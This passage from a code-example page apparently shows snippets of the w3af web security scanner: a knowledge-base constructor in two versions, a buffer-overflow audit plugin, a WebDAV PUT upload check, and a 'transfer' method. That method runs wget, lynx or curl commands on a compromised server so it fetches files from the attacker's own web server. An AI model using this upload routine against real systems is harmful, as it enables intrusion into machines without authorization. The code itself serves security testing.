                fr = FuzzableRequest(response.get_uri())
                self.output_queue.put(fr)
Пример #44
0
    def __init__(self):
        super(DBKnowledgeBase, self).__init__()
        
        self.urls = DiskSet(table_prefix='kb_urls')
        self.fuzzable_requests = DiskSet(table_prefix='kb_fuzzable_requests')
        
        self.db = get_default_persistent_db_instance()

        columns = [('location_a', 'TEXT'),
                   ('location_b', 'TEXT'),
                   ('uniq_id', 'TEXT'),
                   ('pickle', 'BLOB')]

        self.table_name = 'knowledge_base_' + rand_alpha(30)
        self.db.create_table(self.table_name, columns)
        self.db.create_index(self.table_name, ['location_a', 'location_b'])
        self.db.create_index(self.table_name, ['uniq_id',])
        self.db.commit()
        
        # TODO: Why doesn't this work with a WeakValueDictionary?
        self.observers = {} #WeakValueDictionary()
        self.type_observers = {} #WeakValueDictionary()
        self.url_observers = []
        self._observer_id = 0
Пример #45
0
    def __init__(self):
        super(DBKnowledgeBase, self).__init__()

        self.urls = DiskSet()
        self.fuzzable_requests = DiskSet()

        self.db = get_default_persistent_db_instance()

        columns = [('location_a', 'TEXT'), ('location_b', 'TEXT'),
                   ('uniq_id', 'TEXT'), ('pickle', 'BLOB')]

        self.table_name = rand_alpha(30)
        self.db.create_table(self.table_name, columns)
        self.db.create_index(self.table_name, ['location_a', 'location_b'])
        self.db.create_index(self.table_name, [
            'uniq_id',
        ])
        self.db.commit()

        # TODO: Why doesn't this work with a WeakValueDictionary?
        self.observers = {}  #WeakValueDictionary()
        self.type_observers = {}  #WeakValueDictionary()
        self.url_observers = []
        self._observer_id = 0
Пример #46
0
    def transfer(self, data_str, destination):
        """
        This method is used to transfer the data_str from w3af to the
        compromised server.
        """
        if not self._command:
            self.can_transfer()

        cmd_templates = {
            "wget": "wget http://%s:%s/%s -O %s",
            "lynx": "lynx -source http://%s:%s/%s > %s",
            "curl": "curl http://%s:%s/%s > %s",
        }

        # Create the file
        filename = rand_alpha(10)
        file_path = get_temp_dir() + os.path.sep + filename
        f = file(file_path, "w")
        f.write(data_str)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.get("local_ip_address"), self._inbound_port, get_temp_dir())

        cmd_to_run = cmd_templates[self._command] % (
            cf.cf.get("local_ip_address"),
            self._inbound_port,
            filename,
            destination,
        )
        self._exec_method(cmd_to_run)

        os.remove(file_path)

        return self.verify_upload(data_str, destination)
Пример #47
0
class buffer_overflow(AuditPlugin):
    """
    Find buffer overflow vulnerabilities.
    :author: Andres Riancho ([email protected])
    """

    OVERFLOW_ERRORS = (
        '*** stack smashing detected ***:',
        'Backtrace:',
        'Memory map:',

        # Note that the lack of commas after the strings is intentional
        '<html><head>\n<title>500 Internal Server Error</title>\n'
        '</head><body>\n<h1>'
        'Internal Server Error</h1>')

    _multi_in = multi_in(OVERFLOW_ERRORS)

    # TODO: if lengths = [ 65 , 257 , 513 , 1025, 2049, 4097, 8000 ]
    # then i get a BadStatusLine exception from urllib2, is seems to be an
    # internal error. Tested against tomcat 5.5.7
    BUFFER_TESTS = [rand_alpha(l) for l in [65, 257, 513, 1025, 2049]]

    def __init__(self):
        """
        Some notes:
            On Apache, when an overflow happends on a cgic script, this is written
            to the log:
                *** stack smashing detected ***: /var/www/.../buffer_overflow.cgi terminated,
                referer: http://localhost/w3af/bufferOverflow/buffer_overflow.cgi
                Premature end of script headers: buffer_overflow.cgi, referer: ...

            On Apache, when an overflow happends on a cgic script, this is
            returned to the user:
                <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
                <html><head>
                <title>500 Internal Server Error</title>
                </head><body>
                <h1>Internal Server Error</h1>
                <p>The server encountered an internal error or
                misconfiguration and was unable to complete
                your request.</p>
                <p>Please contact the server administrator,
                 webmaster@localhost and inform them of the time the error occurred,
                and anything you might have done that may have
                caused the error.</p>
                <p>More information about this error may be available
                in the server error log.</p>
                <hr>
                <address>Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1
                PHP/5.1.6 Server at localhost Port 80</address>
                </body></html>

            Note that this is an Apache error 500, not the more common PHP error 500.
        """
        AuditPlugin.__init__(self)

    def audit(self, freq, orig_response):
        """
        Tests an URL for buffer overflow vulnerabilities.

        :param freq: A FuzzableRequest
        """
        mutants = create_mutants(freq,
                                 self.BUFFER_TESTS,
                                 orig_resp=orig_response)
        args = zip(repeat(self._send_request), mutants)

        for result in self.worker_pool.imap_unordered(apply_with_return_error,
                                                      args):
            # re-raise the thread exception in the main thread with this method
            # so we get a nice traceback instead of things like the ones we see
            # in https://github.com/andresriancho/w3af/issues/7287
            if isinstance(result, Error):
                result.reraise()

    def _send_request(self, mutant):
        """
        Sends a mutant to the remote web server. I wrap urllib's _send_mutant
        just to handle errors in a different way.
        """
        try:
            response = self._uri_opener.send_mutant(mutant)
        except (BaseFrameworkException, ScanMustStopException):
            desc = 'A potential (most probably a false positive than a bug)' \
                   ' buffer-overflow was found when requesting: "%s", using' \
                   ' HTTP method %s. The data sent was: "%s".'
            desc = desc % (mutant.get_url(), mutant.get_method(),
                           mutant.get_dc())

            i = Info.from_mutant('Potential buffer overflow vulnerability',
                                 desc, [], self.get_name(), mutant)

            self.kb_append_uniq(self, 'buffer_overflow', i)
        else:
            self._analyze_result(mutant, response)

    def _analyze_result(self, mutant, response):
        """
        Analyze results of the _send_mutant method.
        """
        for error_str in self._multi_in.query(response.body):
            # And not in the original response
            if error_str not in mutant.get_original_response_body() and \
                    self._has_no_bug(mutant):
                desc = 'A potential buffer overflow (accurate detection is' \
                       ' hard...) was found at: %s' % mutant.found_at()

                v = Vuln.from_mutant('Buffer overflow vulnerability', desc,
                                     severity.MEDIUM, response.id,
                                     self.get_name(), mutant)
                v.add_to_highlight(error_str)

                self.kb_append_uniq(self, 'buffer_overflow', v)

    def get_plugin_deps(self):
        """
        :return: A list with the names of the plugins that should be run before
                 the current one.
        """
        return ['grep.error_500']

    def get_long_desc(self):
        """
        :return: A DETAILED description of the plugin functions and features.
        """
        return """
Пример #48
0
    def _PUT(self, domain_path):
        """
        Tests PUT method.
        """
        # upload
        url = domain_path.url_join(rand_alpha(5))
        rnd_content = rand_alnum(6)
        headers = Headers([('content-type', 'text/plain')])

        put_response = self._uri_opener.PUT(url,
                                            data=rnd_content,
                                            headers=headers)

        # check if uploaded
        res = self._uri_opener.GET(url, cache=True)
        if res.get_body() == rnd_content:
            msg = ('File upload with HTTP PUT method was found at resource:'
                   ' "%s". A test file was uploaded to: "%s".')
            msg = msg % (domain_path, res.get_url())

            v = Vuln('Publicly writable directory', msg, severity.HIGH,
                     [put_response.id, res.id], self.get_name())

            v.set_url(url)
            v.set_method('PUT')

            self.kb_append(self, 'dav', v)

        # Report some common errors
        elif put_response.get_code() == 500:
            msg = ('DAV seems to be incorrectly configured. The web server'
                   ' answered with a 500 error code. In most cases, this means'
                   ' that the DAV extension failed in some way. This error was'
                   ' found at: "%s".' % put_response.get_url())

            i = Info('DAV incorrect configuration', msg, res.id,
                     self.get_name())

            i.set_url(url)
            i.set_method('PUT')

            self.kb_append(self, 'dav', i)

        # Report some common errors
        elif put_response.get_code() == 403:
            # handle false positive when PUT method is not supported
            # https://github.com/andresriancho/w3af/pull/2724/files
            if 'supported' in put_response.get_body().lower():
                return

            msg = ('DAV seems to be correctly configured and allowing you to'
                   ' use the PUT method but the directory does not have the'
                   ' right permissions that would allow the web server to'
                   ' write to it. This error was found at: "%s".')
            msg = msg % put_response.get_url()

            i = Info('DAV incorrect configuration', msg,
                     [put_response.id, res.id], self.get_name())

            i.set_url(url)
            i.set_method('PUT')

            self.kb_append(self, 'dav', i)